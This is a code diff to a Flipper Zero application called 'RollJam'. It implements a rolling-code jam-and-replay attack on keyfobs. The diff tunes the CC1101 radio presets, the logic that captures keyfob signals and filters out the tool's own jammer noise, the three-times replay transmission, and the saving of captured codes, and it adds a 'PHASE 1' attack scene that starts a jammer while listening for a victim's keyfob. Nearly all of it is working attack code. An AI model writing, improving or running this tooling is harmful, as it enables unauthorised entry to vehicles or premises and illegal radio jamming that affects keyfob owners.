     CC_AGCCTRL0, 0x91,
+    CC_AGCCTRL1, 0x00,
+    CC_AGCCTRL2, 0x07,
+    CC_WORCTRL,  0xFB,
     CC_FREND0,   0x10,
-    CC_FSCAL3,   0xEA,
-    CC_FSCAL2,   0x2A,
-    CC_FSCAL1,   0x00,
-    CC_FSCAL0,   0x1F,
-    0x00, 0x00
+    CC_FREND1,   0xB6,
+    0x00,        0x00,
+    0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 };
 
 static const uint8_t preset_fsk_tx_476[] = {
     CC_IOCFG0,   0x0D,
     CC_FIFOTHR,  0x47,
-    CC_MDMCFG4,  0x8C,
-    CC_MDMCFG3,  0x32,
-    CC_MDMCFG2,  0x00,
-    CC_MDMCFG1,  0x00,
+    CC_PKTCTRL0, 0x32,
+    CC_FSCTRL1,  0x06,
     CC_MDMCFG0,  0x00,
+    CC_MDMCFG1,  0x00,
+    CC_MDMCFG2,  0x00,
+    CC_MDMCFG3,  0x75,
+    CC_MDMCFG4,  0x57,
     CC_DEVIATN,  0x47,
     CC_MCSM0,    0x18,
     CC_FOCCFG,   0x16,
-    CC_AGCCTRL2, 0x07,
-    CC_AGCCTRL1, 0x00,
     CC_AGCCTRL0, 0x91,
+    CC_AGCCTRL1, 0x00,
+    CC_AGCCTRL2, 0x07,
+    CC_WORCTRL,  0xFB,
     CC_FREND0,   0x10,
-    CC_FSCAL3,   0xEA,
-    CC_FSCAL2,   0x2A,
-    CC_FSCAL1,   0x00,
-    CC_FSCAL0,   0x1F,
-    0x00, 0x00
+    CC_FREND1,   0xB6,
+    0x00,        0x00,
+    0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
 };
 
 // ============================================================
 // Capture state machine
 // ============================================================
 
-#define MIN_PULSE_US       50
-#define MAX_PULSE_US       32767  // int16_t max — covers all keyfob pulse widths
-#define SILENCE_GAP_US     50000  // 50ms gap = real end of frame for all keyfob types
-#define MIN_FRAME_PULSES   20     // Some keyfobs have short frames
-#define AUTO_ACCEPT_PULSES 300    // Need more pulses before auto-accept
+#define MIN_PULSE_US           100
+#define MAX_PULSE_US           32767
+#define SILENCE_GAP_US         50000
+#define MIN_FRAME_PULSES       40
+#define AUTO_ACCEPT_PULSES     300
+#define MAX_CONTINUOUS_SAMPLES 800
 
-// Tolerance for jammer pattern detection (microseconds)
-#define JAM_PATTERN_TOLERANCE 120
-
-static bool rolljam_is_jammer_pattern(RawSignal* s) {
+static bool rolljam_is_jammer_pattern_mod(RawSignal* s, uint8_t mod_index) {
     if(s->size < 20) return false;
-    int16_t first = s->data[0];
-    int16_t abs_first = first > 0 ? first : -first;
-    int matches = 0;
+
+    // Calcular estadísticas una sola vez
+    int16_t max_abs = 0;
+    int64_t sum = 0;
     for(size_t i = 0; i < s->size; i++) {
-        int16_t val = s->data[i];
-        int16_t abs_val = val > 0 ? val : -val;
-        int diff = abs_val - abs_first;
-        if(diff < 0) diff = -diff;
-        if(diff < JAM_PATTERN_TOLERANCE) {
-            matches++;
+        int16_t v = s->data[i] > 0 ? s->data[i] : -s->data[i];
+        if(v > max_abs) max_abs = v;
+        sum += v;
+    }
+    int32_t mean = (int32_t)(sum / (int64_t)s->size);
+
+    FURI_LOG_D(TAG, "JamCheck: mod=%d max=%d mean=%ld size=%d",
+               mod_index, max_abs, mean, (int)s->size);
+
+    if(mod_index == 2 || mod_index == 3) { // ModIndex_FM238=2, FM476=3
+        if((int)s->size < 120) {
+            FURI_LOG_W(TAG, "Jammer FSK rechazado: size=%d < 120", (int)s->size);
+            return true;
+        }
+        return false;
+    }
+
+    if(max_abs < 25000) {
+        FURI_LOG_W(TAG, "Jammer AM650 rechazado: max=%d < 25000", max_abs);
+        return true;
+    }
+
+    if(mod_index == 1) { // ModIndex_AM270=1
+        if(mean < 3000) {
+            FURI_LOG_W(TAG, "Jammer AM270 rechazado: mean=%ld < 3000 (max=%d)", mean, max_abs);
+            return true;
         }
     }
-    return (matches > (int)(s->size * 8 / 10));
+
+    return false;
+}
+
+
+
+#define MIN_VARIANCE 2000
+
+static bool rolljam_has_sufficient_variance(RawSignal* s) {
+    if(s->size < 20) return false;
+
+    int64_t sum = 0;
+    for(size_t i = 0; i < s->size; i++) {
+        int16_t val = s->data[i];
+        sum += (val > 0) ? val : -val;
+    }
+    int32_t mean = (int32_t)(sum / (int64_t)s->size);
+
+    int64_t var_sum = 0;
+    for(size_t i = 0; i < s->size; i++) {
+        int16_t val = s->data[i];
+        int32_t abs_val = (val > 0) ? val : -val;
+        int32_t diff = abs_val - mean;
+        var_sum += (int64_t)diff * diff;
+    }
+    int32_t variance = (int32_t)(var_sum / (int64_t)s->size);
+
+    bool has_var = (variance > MIN_VARIANCE);
+    FURI_LOG_I(TAG, "Variance: mean=%ld var=%ld %s",
+               mean, variance, has_var ? "PASS" : "FAIL");
+    return has_var;
 }
 
 typedef enum {
@@ -171,90 +275,101 @@ typedef enum {
     CapDone,
 } CapState;
 
-static volatile CapState cap_state;
-static volatile int cap_valid_count;
-static volatile int cap_total_count;
-static volatile bool cap_target_first;
-static volatile uint32_t cap_callback_count;
-static volatile float cap_rssi_baseline;
+typedef struct {
+    volatile CapState state;
+    volatile int      valid_count;
+    volatile int      total_count;
+    volatile bool     target_first;
+    volatile uint32_t callback_count;
+    volatile uint32_t continuous_count;
+    float             rssi_baseline;
+    uint8_t           mod_index;
+} CapCtx;
+
+static CapCtx g_cap;
+
+static void cap_ctx_reset(CapCtx* c) {
+    c->state            = CapWaiting;
+    c->valid_count      = 0;
+    c->total_count      = 0;
+    c->callback_count   = 0;
+    c->continuous_count = 0;
+}
 
 static void capture_rx_callback(bool level, uint32_t duration, void* context) {
     RollJamApp* app = context;
 
     if(!app->raw_capture_active) return;
-    if(cap_state == CapDone) return;
+    if(g_cap.state == CapDone)   return;
 
-    cap_callback_count++;
+    g_cap.callback_count++;
 
-    RawSignal* target;
-    if(cap_target_first) {
-        target = &app->signal_first;
-        if(target->valid) return;
-    } else {
-        target = &app->signal_second;
-        if(target->valid) return;
-    }
+    RawSignal* target = g_cap.target_first ? &app->signal_first : &app->signal_second;
+    if(target->valid) return;
 
     uint32_t dur = duration;
-    // Check silence gap BEFORE clamping so 50ms gaps are detected correctly
-    // Clamp only affects stored sample value, not gap detection
-    bool is_silence = (dur > SILENCE_GAP_US);
+    bool is_silence    = (dur > SILENCE_GAP_US);
+    bool is_medium_gap = (dur > 5000 && dur <= SILENCE_GAP_US);
     if(dur > 32767) dur = 32767;
 
-    switch(cap_state) {
+    switch(g_cap.state) {
     case CapWaiting:
-        if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
-            target->size = 0;
-            cap_valid_count = 0;
-            cap_total_count = 0;
-            cap_state = CapRecording;
-
+        g_cap.continuous_count = 0;
+        if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US && !is_silence) {
+            target->size        = 0;
+            g_cap.valid_count   = 0;
+            g_cap.total_count   = 0;
+            g_cap.state         = CapRecording;
             int16_t s = level ? (int16_t)dur : -(int16_t)dur;
             target->data[target->size++] = s;
-            cap_valid_count++;
-            cap_total_count++;
+            g_cap.valid_count++;
+            g_cap.total_count++;
+            g_cap.continuous_count = 1;
         }
         break;
 
     case CapRecording:
+        g_cap.continuous_count++;
+
+        if(g_cap.continuous_count > MAX_CONTINUOUS_SAMPLES && !is_medium_gap && !is_silence) {
+            target->size = 0;
+            cap_ctx_reset(&g_cap);
+            return;
+        }
+
         if(target->size >= RAW_SIGNAL_MAX_SIZE) {
-            if(cap_valid_count >= MIN_FRAME_PULSES) {
-                cap_state = CapDone;
-            } else {
+            g_cap.state = (g_cap.valid_count >= MIN_FRAME_PULSES) ? CapDone : CapWaiting;
+            if(g_cap.state == CapWaiting) {
                 target->size = 0;
-                cap_valid_count = 0;
-                cap_total_count = 0;
-                cap_state = CapWaiting;
+                g_cap.valid_count     = 0;
+                g_cap.total_count     = 0;
+                g_cap.continuous_count = 0;
             }
             return;
         }
 
         if(is_silence) {
-            if(cap_valid_count >= MIN_FRAME_PULSES) {
-                if(target->size < RAW_SIGNAL_MAX_SIZE) {
-                    int16_t s = level ? (int16_t)32767 : -32767;
-                    target->data[target->size++] = s;
-                }
-                cap_state = CapDone;
+            if(g_cap.valid_count >= MIN_FRAME_PULSES) {
+                if(target->size < RAW_SIGNAL_MAX_SIZE)
+                    target->data[target->size++] = level ? (int16_t)32767 : -32767;
+                g_cap.state = CapDone;
             } else {
                 target->size = 0;
-                cap_valid_count = 0;
-                cap_total_count = 0;
-                cap_state = CapWaiting;
+                cap_ctx_reset(&g_cap);
             }
             return;
         }
 
+        if(is_medium_gap) g_cap.continuous_count = 0;
+
         {
             int16_t s = level ? (int16_t)dur : -(int16_t)dur;
             target->data[target->size++] = s;
-            cap_total_count++;
-
+            g_cap.total_count++;
             if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
-                cap_valid_count++;
-                if(cap_valid_count >= AUTO_ACCEPT_PULSES) {
-                    cap_state = CapDone;
-                }
+                g_cap.valid_count++;
+                if(g_cap.valid_count >= AUTO_ACCEPT_PULSES)
+                    g_cap.state = CapDone;
             }
         }
         break;
@@ -269,64 +384,51 @@ static void capture_rx_callback(bool level, uint32_t duration, void* context) {
 // ============================================================
 
 void rolljam_capture_start(RollJamApp* app) {
-    FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d", app->frequency, app->mod_index);
+    FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d offset=%lu",
+               app->frequency, app->mod_index, app->jam_offset_hz);
 
-    // Full radio reset sequence
-    furi_hal_subghz_reset();
-    furi_delay_ms(10);
-    furi_hal_subghz_idle();
-    furi_delay_ms(10);
-
-    const uint8_t* preset;
+    const uint8_t* src_preset;
     switch(app->mod_index) {
-    case ModIndex_FM238:
-    case ModIndex_FM476:
-        preset = preset_fsk_rx;
-        break;
-    default:
-        preset = preset_ook_rx;
-        break;
+    case ModIndex_AM270: src_preset = preset_ook_270_async;  break;
+    case ModIndex_FM238: src_preset = preset_2fsk_238_async; break;
+    case ModIndex_FM476: src_preset = preset_2fsk_476_async; break;
+    default:             src_preset = preset_ook_650_async;  break;
     }
 
-    furi_hal_subghz_load_custom_preset(preset);
+    furi_hal_subghz_load_custom_preset(src_preset);
     furi_delay_ms(5);
 
-    uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
-    FURI_LOG_I(TAG, "Capture: freq set to %lu", real_freq);
-
+    uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
+    FURI_LOG_I(TAG, "Capture: freq=%lu (requested %lu)", real_freq, app->frequency);
     furi_delay_ms(5);
 
     furi_hal_subghz_rx();
     furi_delay_ms(50);
-    cap_rssi_baseline = furi_hal_subghz_get_rssi();
+    float rssi_baseline = furi_hal_subghz_get_rssi();
+    g_cap.rssi_baseline = rssi_baseline;
+    FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)rssi_baseline);
+
     furi_hal_subghz_idle();
     furi_delay_ms(5);
-    FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)cap_rssi_baseline);
 
-    cap_state = CapWaiting;
-    cap_valid_count = 0;
-    cap_total_count = 0;
-    cap_callback_count = 0;
+    cap_ctx_reset(&g_cap);
 
-    // Determine target
     if(!app->signal_first.valid) {
-        cap_target_first = true;
-        app->signal_first.size = 0;
+        g_cap.target_first      = true;
+        app->signal_first.size  = 0;
         app->signal_first.valid = false;
         FURI_LOG_I(TAG, "Capture target: FIRST signal");
     } else {
-        cap_target_first = false;
-        app->signal_second.size = 0;
+        g_cap.target_first       = false;
+        app->signal_second.size  = 0;
         app->signal_second.valid = false;
-        FURI_LOG_I(TAG, "Capture target: SECOND signal (first already valid, size=%d)",
-                   app->signal_first.size);
+        FURI_LOG_I(TAG, "Capture target: SECOND signal");
     }
 
+    g_cap.mod_index = app->mod_index;
     app->raw_capture_active = true;
     furi_hal_subghz_start_async_rx(capture_rx_callback, app);
-
-    FURI_LOG_I(TAG, "Capture: RX STARTED, active=%d, target_first=%d",
-               app->raw_capture_active, cap_target_first);
+    FURI_LOG_I(TAG, "Capture: RX STARTED");
 }
 
 void rolljam_capture_stop(RollJamApp* app) {
@@ -334,16 +436,11 @@ void rolljam_capture_stop(RollJamApp* app) {
         FURI_LOG_W(TAG, "Capture stop: was not active");
         return;
     }
-
     app->raw_capture_active = false;
-
     furi_hal_subghz_stop_async_rx();
     furi_delay_ms(5);
-    furi_hal_subghz_idle();
-    furi_delay_ms(5);
-
-    FURI_LOG_I(TAG, "Capture stopped. callbacks=%lu capState=%d validCnt=%d totalCnt=%d",
-               cap_callback_count, cap_state, cap_valid_count, cap_total_count);
+    FURI_LOG_I(TAG, "Capture stopped. cb=%lu state=%d valid=%d total=%d",
+               g_cap.callback_count, g_cap.state, g_cap.valid_count, g_cap.total_count);
     FURI_LOG_I(TAG, "  Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
     FURI_LOG_I(TAG, "  Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
 }
@@ -353,64 +450,46 @@ void rolljam_capture_stop(RollJamApp* app) {
 // ============================================================
 
 bool rolljam_signal_is_valid(RawSignal* signal) {
-    if(cap_state != CapDone) {
-        // Log every few checks so we can see if callbacks are happening
+    if(g_cap.state != CapDone) {
         static int check_count = 0;
         check_count++;
-        if(check_count % 10 == 0) {
-            FURI_LOG_D(TAG, "Validate: not done yet, state=%d callbacks=%lu valid=%d total=%d sig_size=%d",
-                       cap_state, cap_callback_count, cap_valid_count, cap_total_count, signal->size);
-        }
+        if(check_count % 10 == 0)
+            FURI_LOG_D(TAG, "Validate: state=%d cb=%lu valid=%d total=%d size=%d",
+                       g_cap.state, g_cap.callback_count,
+                       g_cap.valid_count, g_cap.total_count, (int)signal->size);
         return false;
     }
 
-    if(signal->size < MIN_FRAME_PULSES) return false;
+    if(signal->size < (size_t)MIN_FRAME_PULSES) return false;
 
-    // Reject jammer noise: if signal is uniform amplitude, it's our own jam
-    if(rolljam_is_jammer_pattern(signal)) {
-        FURI_LOG_W(TAG, "Jammer noise ignored (size=%d)", signal->size);
+    if(rolljam_is_jammer_pattern_mod(signal, g_cap.mod_index)) {
         signal->size = 0;
-        cap_state = CapWaiting;
-        cap_valid_count = 0;
-        cap_total_count = 0;
+        cap_ctx_reset(&g_cap);
         return false;
     }
 
-    int good = 0;
-    int total = (int)signal->size;
-
-    for(int i = 0; i < total; i++) {
-        int16_t val = signal->data[i];
-        int16_t abs_val = val > 0 ? val : -val;
-        if((int32_t)abs_val >= MIN_PULSE_US) {  // upper bound = clamp at 32767
-            good++;
-        }
+    if(!rolljam_has_sufficient_variance(signal)) {
+        signal->size = 0;
+        cap_ctx_reset(&g_cap);
+        return false;
     }
 
+    int good  = 0;
+    int total = (int)signal->size;
+    for(int i = 0; i < total; i++) {
+        int16_t abs_val = signal->data[i] > 0 ? signal->data[i] : -signal->data[i];
+        if(abs_val >= MIN_PULSE_US) good++;
+    }
     int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
 
     if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
-        float rssi = furi_hal_subghz_get_rssi();
-        float rssi_delta = rssi - cap_rssi_baseline;
-        FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) samples=%d rssi=%.1f delta=%.1f",
-                   good, total, ratio_pct, total, (double)rssi, (double)rssi_delta);
-        if(rssi_delta < 5.0f && rssi < -85.0f) {
-            FURI_LOG_W(TAG, "Signal rejected: RSSI too low (%.1f dBm, delta=%.1f)",
-                       (double)rssi, (double)rssi_delta);
-            signal->size = 0;
-            cap_state = CapWaiting;
-            cap_valid_count = 0;
-            cap_total_count = 0;
-            return false;
-        }
+        FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) size=%d", good, total, ratio_pct, total);
         return true;
     }
 
-    FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%), reset", good, total, ratio_pct);
+    FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%)", good, total, ratio_pct);
     signal->size = 0;
-    cap_state = CapWaiting;
-    cap_valid_count = 0;
-    cap_total_count = 0;
+    cap_ctx_reset(&g_cap);
     return false;
 }
 
@@ -419,7 +498,7 @@ bool rolljam_signal_is_valid(RawSignal* signal) {
 // ============================================================
 
 void rolljam_signal_cleanup(RawSignal* signal) {
-    if(signal->size < MIN_FRAME_PULSES) return;
+    if(signal->size < (size_t)MIN_FRAME_PULSES) return;
 
     int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
     if(!cleaned) return;
@@ -427,22 +506,21 @@ void rolljam_signal_cleanup(RawSignal* signal) {
 
     size_t start = 0;
     while(start < signal->size) {
-        int16_t val = signal->data[start];
-        int16_t abs_val = val > 0 ? val : -val;
+        int16_t abs_val = signal->data[start] > 0 ? signal->data[start] : -signal->data[start];
         if(abs_val >= MIN_PULSE_US) break;
         start++;
     }
 
     for(size_t i = start; i < signal->size; i++) {
-        int16_t val = signal->data[i];
-        int16_t abs_val = val > 0 ? val : -val;
-        bool is_positive = val > 0;
+        int16_t val      = signal->data[i];
+        int16_t abs_val  = val > 0 ? val : -val;
+        bool is_positive = (val > 0);
 
         if(abs_val < MIN_PULSE_US) {
             if(out > 0) {
-                int16_t prev = cleaned[out - 1];
-                bool prev_positive = prev > 0;
-                int16_t prev_abs = prev > 0 ? prev : -prev;
+                int16_t prev       = cleaned[out - 1];
+                bool prev_positive = (prev > 0);
+                int16_t prev_abs   = prev > 0 ? prev : -prev;
                 if(prev_positive == is_positive) {
                     int32_t merged = (int32_t)prev_abs + abs_val;
                     if(merged > 32767) merged = 32767;
@@ -455,27 +533,23 @@ void rolljam_signal_cleanup(RawSignal* signal) {
         int32_t q = ((abs_val + 50) / 100) * 100;
         if(q < MIN_PULSE_US) q = MIN_PULSE_US;
         if(q > 32767) q = 32767;
-        int16_t quantized = (int16_t)q;
 
-        if(out < RAW_SIGNAL_MAX_SIZE) {
-            cleaned[out++] = is_positive ? quantized : -quantized;
-        }
+        if(out < RAW_SIGNAL_MAX_SIZE)
+            cleaned[out++] = is_positive ? (int16_t)q : -(int16_t)q;
     }
 
     while(out > 0) {
-        int16_t last = cleaned[out - 1];
-        int16_t abs_last = last > 0 ? last : -last;
+        int16_t abs_last = cleaned[out-1] > 0 ? cleaned[out-1] : -cleaned[out-1];
         if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
         out--;
     }
 
-    if(out >= MIN_FRAME_PULSES) {
+    if(out >= (size_t)MIN_FRAME_PULSES) {
         size_t orig = signal->size;
         memcpy(signal->data, cleaned, out * sizeof(int16_t));
         signal->size = out;
         FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
     }
-
     free(cleaned);
 }
 
@@ -484,8 +558,8 @@ void rolljam_signal_cleanup(RawSignal* signal) {
 // ============================================================
 
 typedef struct {
-    const int16_t* data;
-    size_t size;
+    const int16_t*  data;
+    size_t          size;
     volatile size_t index;
 } TxCtx;
 
@@ -494,11 +568,9 @@ static TxCtx g_tx;
 static LevelDuration tx_feed(void* context) {
     UNUSED(context);
     if(g_tx.index >= g_tx.size) return level_duration_reset();
-
     int16_t sample = g_tx.data[g_tx.index++];
-    bool level = (sample > 0);
-    uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
-
+    bool     level = (sample > 0);
+    uint32_t dur   = (uint32_t)(sample > 0 ? sample : -sample);
     return level_duration_make(level, dur);
 }
 
@@ -507,33 +579,23 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
         FURI_LOG_E(TAG, "TX: no valid signal");
         return;
     }
+    FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", (int)signal->size, app->frequency);
 
-    FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", signal->size, app->frequency);
-
-    furi_hal_subghz_reset();
-    furi_hal_subghz_idle();
-    furi_delay_ms(10);
-
-    const uint8_t* tx_preset;
+    const uint8_t* tx_src;
     switch(app->mod_index) {
-    case ModIndex_FM238:
-        tx_preset = preset_fsk_tx_238;
-        break;
-    case ModIndex_FM476:
-        tx_preset = preset_fsk_tx_476;
-        break;
-    default:
-        tx_preset = preset_ook_tx;
-        break;
+    case ModIndex_FM238: tx_src = preset_fsk_tx_238; break;
+    case ModIndex_FM476: tx_src = preset_fsk_tx_476; break;
+    default:             tx_src = preset_ook_tx;     break;
     }
-    furi_hal_subghz_load_custom_preset(tx_preset);
-    uint32_t real_freq = furi_hal_subghz_set_frequency(app->frequency);
+    furi_hal_subghz_load_custom_preset(tx_src);
+    uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
     FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
+    furi_hal_subghz_idle();
+    furi_delay_ms(5);
 
-    // Transmit 3 times — improves reliability especially at range
     for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
-        g_tx.data = signal->data;
-        g_tx.size = signal->size;
+        g_tx.data  = signal->data;
+        g_tx.size  = signal->size;
         g_tx.index = 0;
 
         if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
@@ -550,14 +612,11 @@ void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
                 break;
             }
         }
-
         furi_hal_subghz_stop_async_tx();
-        FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)", tx_repeat, g_tx.index, signal->size);
-
-        // Small gap between repeats
+        FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)",
+                   tx_repeat, (int)g_tx.index, (int)signal->size);
         if(tx_repeat < 2) furi_delay_ms(50);
     }
-
     furi_hal_subghz_idle();
     FURI_LOG_I(TAG, "TX: all repeats done");
 }
@@ -590,24 +649,20 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
 
         furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
         storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
-
         furi_string_printf(line, "Version: 1\n");
         storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
-
         furi_string_printf(line, "Frequency: %lu\n", app->frequency);
         storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
 
         const char* pname;
         switch(app->mod_index) {
-        case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
+        case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async";     break;
         case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
         case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
-        default: pname = "FuriHalSubGhzPresetOok650Async"; break;
+        default:             pname = "FuriHalSubGhzPresetOok650Async";     break;
         }
-
         furi_string_printf(line, "Preset: %s\n", pname);
         storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
-
         furi_string_printf(line, "Protocol: RAW\n");
         storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
 
@@ -616,15 +671,13 @@ void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
             furi_string_set(line, "RAW_Data:");
             size_t end = i + 512;
             if(end > signal->size) end = signal->size;
-            for(; i < end; i++) {
+            for(; i < end; i++)
                 furi_string_cat_printf(line, " %d", signal->data[i]);
-            }
             furi_string_cat(line, "\n");
             storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
         }
-
         furi_string_free(line);
-        FURI_LOG_I(TAG, "Saved: %d samples", signal->size);
+        FURI_LOG_I(TAG, "Saved: %d samples", (int)signal->size);
     } else {
         FURI_LOG_E(TAG, "Save failed!");
     }

applications/main/RollJam/helpers/rolljam_receiver.h

@@ -15,20 +15,11 @@
  * This matches the Flipper .sub RAW format.
  */
 
-// Start raw capture on internal CC1101
 void rolljam_capture_start(RollJamApp* app);
-
-// Stop capture
 void rolljam_capture_stop(RollJamApp* app);
 
-// Check if captured signal looks valid (not just noise)
 bool rolljam_signal_is_valid(RawSignal* signal);
 
-// Clean up captured signal: merge short pulses, quantize, trim noise
 void rolljam_signal_cleanup(RawSignal* signal);
-
-// Transmit a raw signal via internal CC1101
 void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
-
-// Save signal to .sub file on SD card
 void rolljam_save_signal(RollJamApp* app, RawSignal* signal);

applications/main/RollJam/rolljam.c

@@ -180,7 +180,6 @@ static RollJamApp* rolljam_app_alloc(void) {
 // ============================================================
 
 static void rolljam_app_free(RollJamApp* app) {
-    // Safety: stop everything
     if(app->jamming_active) {
         rolljam_jammer_stop(app);
     }
@@ -188,7 +187,6 @@ static void rolljam_app_free(RollJamApp* app) {
         rolljam_capture_stop(app);
     }
 
-    // Remove views
     view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
     variable_item_list_free(app->var_item_list);
 
@@ -201,11 +199,9 @@ static void rolljam_app_free(RollJamApp* app) {
     view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
     popup_free(app->popup);
 
-    // Core
     scene_manager_free(app->scene_manager);
     view_dispatcher_free(app->view_dispatcher);
 
-    // Services
     furi_record_close(RECORD_GUI);
     furi_record_close(RECORD_NOTIFICATION);
     furi_record_close(RECORD_STORAGE);

applications/main/RollJam/rolljam.h

@@ -18,7 +18,6 @@
 
 #define TAG "RollJam"
 
-// Max raw signal buffer
 #define RAW_SIGNAL_MAX_SIZE 4096
 
 // ============================================================
@@ -127,20 +126,17 @@ typedef struct {
 // Main app struct
 // ============================================================
 typedef struct {
-    // Core
     Gui* gui;
     ViewDispatcher* view_dispatcher;
     SceneManager* scene_manager;
     NotificationApp* notification;
     Storage* storage;
 
-    // Views / modules
     VariableItemList* var_item_list;
     Widget* widget;
     DialogEx* dialog_ex;
     Popup* popup;
 
-    // Settings
     FreqIndex freq_index;
     ModIndex mod_index;
     JamOffIndex jam_offset_index;
@@ -149,16 +145,14 @@ typedef struct {
     uint32_t jam_frequency;
     uint32_t jam_offset_hz;
 
-    // Captured signals
     RawSignal signal_first;
     RawSignal signal_second;
 
-    // Jamming state
     bool jamming_active;
     FuriThread* jam_thread;
     volatile bool jam_thread_running;
 
-    // Capture state
     volatile bool raw_capture_active;
 
+
 } RollJamApp;

applications/main/RollJam/scenes/rolljam_scene_attack_phase1.c

@@ -9,10 +9,8 @@
 static void phase1_timer_callback(void* context) {
     RollJamApp* app = context;
 
-    if(app->signal_first.size > 0 &&
+    if(app->signal_first.size >= 20 &&
        rolljam_signal_is_valid(&app->signal_first)) {
-        rolljam_signal_cleanup(&app->signal_first);
-        app->signal_first.valid = true;
         view_dispatcher_send_custom_event(
             app->view_dispatcher, RollJamEventSignalCaptured);
     }
@@ -27,7 +25,32 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
         FontPrimary, "PHASE 1 / 4");
     widget_add_string_element(
         app->widget, 64, 16, AlignCenter, AlignTop,
-        FontSecondary, "Jamming active...");
+        FontSecondary, "Starting...");
+    widget_add_string_element(
+        app->widget, 64, 56, AlignCenter, AlignTop,
+        FontSecondary, "[BACK] cancel");
+    view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
+
+    rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
+
+    rolljam_jammer_start(app);
+    furi_delay_ms(300);
+
+    widget_reset(app->widget);
+    widget_add_string_element(
+        app->widget, 64, 2, AlignCenter, AlignTop,
+        FontPrimary, "PHASE 1 / 4");
+    if(app->jamming_active) {
+        widget_add_string_element(
+            app->widget, 64, 16, AlignCenter, AlignTop,
+            FontSecondary, "Jamming active...");
+        FURI_LOG_I(TAG, "Phase1: jammer activo en %lu Hz", app->jam_frequency);
+    } else {
+        widget_add_string_element(
+            app->widget, 64, 16, AlignCenter, AlignTop,
+            FontSecondary, "No ext jammer");
+        FURI_LOG_W(TAG, "Phase1: sin jammer, capturando de todas formas");
+    }
     widget_add_string_element(
         app->widget, 64, 28, AlignCenter, AlignTop,
         FontSecondary, "Listening for keyfob");
@@ -38,16 +61,6 @@ void rolljam_scene_attack_phase1_on_enter(void* context) {
         app->widget, 64, 56, AlignCenter, AlignTop,
         FontSecondary, "[BACK] cancel");
 
-    view_dispatcher_switch_to_view(
-        app->view_dispatcher, RollJamViewWidget);
-
-    // Configure hardware type
-    rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
-
-    // Start jamming
-    rolljam_jammer_start(app);
-
-    // Start capture
     rolljam_capture_start(app);
 
     notification_message(app->notification, &sequence_blink_blue_100);
@@ -67,21 +80,29 @@ bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event
 
     if(event.type == SceneManagerEventTypeCustom) {
         if(event.event == RollJamEventSignalCaptured) {
-            notification_message(app->notification, &sequence_success);
-
-            FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
-                       app->signal_first.size);
-
-            // Stop capture cleanly
             rolljam_capture_stop(app);
-            // Jamming stays active!
 
-            scene_manager_next_scene(
-                app->scene_manager, RollJamSceneAttackPhase2);
+            if(!rolljam_signal_is_valid(&app->signal_first)) {
+                FURI_LOG_W(TAG, "Phase1: false capture, restarting RX...");
+                app->signal_first.size  = 0;
+                app->signal_first.valid = false;
+                furi_delay_ms(50);
+                rolljam_capture_start(app);
+                return true;
+            }
+
+            rolljam_signal_cleanup(&app->signal_first);
+            app->signal_first.valid = true;
+
+            notification_message(app->notification, &sequence_success);
+            FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
+                       (int)app->signal_first.size);
+
+            scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase2);
             return true;
         }
     } else if(event.type == SceneManagerEventTypeBack) {
-        FURI_LOG_I(TAG, "Phase1: cancelled by user");
